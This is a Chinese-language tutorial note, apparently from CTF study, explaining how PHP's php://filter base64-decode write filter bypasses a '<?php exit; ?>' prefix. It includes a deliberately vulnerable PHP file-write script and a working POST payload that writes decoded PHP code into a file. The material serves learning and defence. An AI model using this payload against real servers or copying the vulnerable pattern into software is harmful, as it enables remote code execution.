###知識點 php://filter php://filter是一種元封裝器,是PHP中特有的協議流,設計用於數據流打開時的篩選過濾應用,作用是作為一個“中間流”來處理其他流。 php://filter目標使用以下的參數作為它路徑的一部分。複合過濾鏈能夠在一個路徑上指定。 |名稱|描述|備註| | ...
知識點
php://filter
php://filter是一種元封裝器,是PHP中特有的協議流,設計用於數據流打開時的篩選過濾應用,作用是作為一個“中間流”來處理其他流。
php://filter目標使用以下的參數作為它路徑的一部分。複合過濾鏈能夠在一個路徑上指定。
名稱 | 描述 | 備註 |
---|---|---|
resource=<要過濾的數據流> 指定了你要篩選過濾的數據流。 | 必選 | |
read=<讀鏈的篩選列表> | 可以設定一個或多個過濾器名稱,以管道符(|)分隔。 | 可選 |
write=<寫鏈的篩選列表> | 可以設定一個或多個過濾器名稱,以管道符(|)分隔。 | 可選 |
<;兩個鏈的篩選列表> | 任何沒有以 read= 或 write= 作首碼 的篩選器列表會視情況應用於讀或寫鏈。 |
PHP file_put_contents()
file_put_contents() 函數把一個字元串寫入文件中。
file_put_contents(file,data,mode,context)
file 必需。規定要寫入數據的文件。如果文件不存在,則創建一個新文件。
data 可選。規定要寫入文件的數據。可以是字元串、數組或數據流。
實例介紹
eee.php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>
當用戶通過POST方式提交一個數據時,會和exit拼接,從而造成提交的數據不能被執行。
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=b.png
向b.png寫入,解碼後的$content拼接上txt的內容
base64編碼中只包含64個可列印字元,當PHP遇到不可解碼的字元時,會選擇性的跳過,這個時候base64就相當於以下的過程:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,當$content 包含 <?php exit; ?>時,解碼decode過程會先去除識別不了的字元,都將被去除,於是剩下的字元就只有phpexit以及我們傳入的字元了。由於base64是4個byte一組,再添加一個字元例如添加字元’a’後,將’phpexita’當做兩組base64進行解碼,也就繞過這個死亡exit了。
phpexitaPD9waHAgcGhwaW5mbygpOyA/Pg==
phpe xita aPD9 waHA ... ...